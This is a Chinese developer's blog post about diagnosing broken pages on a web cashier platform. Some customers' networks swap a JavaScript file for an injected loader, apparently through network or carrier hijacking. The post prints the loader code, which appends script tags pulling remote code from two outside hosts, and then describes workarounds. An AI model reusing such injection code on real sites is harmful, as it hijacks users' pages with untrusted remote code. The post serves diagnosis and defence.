偷天換日
3月12號石家庄一個客戶(后面簡稱乙方)有幾家門店,平台收銀(web)有一些功能無法正常使用,平台有上千家門店在使用,到目前為止別的省份都沒有此問題。遠程協助發現,js日期控件無法正常調用,報js錯誤。日期插件用的是my97datepicker,用了這么久也沒見出過什么問題。
瀏覽器查看頁面加載的js,發現頁面本身加載的js中有重復的(隨機重復),一個是common.js還有個common.js?145001231。代碼中只有common.js。點開common.js?145001231發現代碼沒問題。再查看common.js。代碼如下
try { if (!document.getElementById("mck0")) { var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(), s1 = "http://8.525cm.com/v2/v.php?id=01"; var ar = new Array(2); ar[0] = s0; ar[1] = s1; var h = document.getElementsByTagName('head').item(0); for (var i = 0; i < 2; ++i) { var sc = document.createElement("script"); sc.type = "text/javascript"; sc.id = "mck" + i; sc.src = ar[i]; h.appendChild(sc); } } } catch(e) {}
看到這就應該明白為什么會有common.js和common.js?145001231。
問題找到了,怎么來的呢,先想到的是乙方操作系統有問題或內網arp欺騙。電話詢問客戶網絡環境,得知這幾個門店距離很遠,不是在一起;而且每個門店使用的寬帶都是單獨開通的。電腦系統都是統一安裝的。讓乙方到隔壁店鋪登錄下試試,乙方找了隔壁的電腦登錄后,遠程協助,發現也有這個問題。(難道是運營商那邊dns挾持的,感覺不太可能)
這時候已經過去3,4個小時了,好幾個門店的收銀,和后台進銷存無法正常使用。客戶那邊的經理打電話來,說找了台筆記本,用他們自己的wifi就有這個問題,用移動的4g網絡就沒問題。那就是網絡有問題了,乙方也認同了。當時由於手上還有其他任務要忙,就暫時擱置了。
3月30今天又得知江西南昌有個客服也遇到了同樣的問題,發現問題一模一樣。一家還能說是個例,第二家的出現需要將問題等級提高了,雖然不是平台的問題,但對於客戶來說沒法正常使用,必須要解決。
應對方案
1、分析代碼。反其道而行,想移除添加的js。
后來發現思路有點偏,替換的代碼是直接添加一個script元素,平台中頁面加載js是用document.write(<script/>),替換的js影響了原有頁面的js加載順序導致功能無法正常使用。試着在頁面js文件引用改為xxx.js?123,試了下沒問題了,又嘗試改為xxx.js?,發現也可以,臨時這么解決,把出問題的幾個頁面js引用修改了下。(此問題改過觀察中)
2、瀏覽器插件。(這個是下策)
后續思考
問題並沒有真正解決,但是可以通過一些方法解決替換js后所帶來的加載順序問題。
可以嘗試用
多js打包(還能減少服務器連接次數,提高性能,也要留意下IE和Firefox對同一域名進行請求的並發連接數限制),增加版本號。
js模塊化加載(requireJS類組件)。
先寫到這吧,此問題還在繼續觀察中...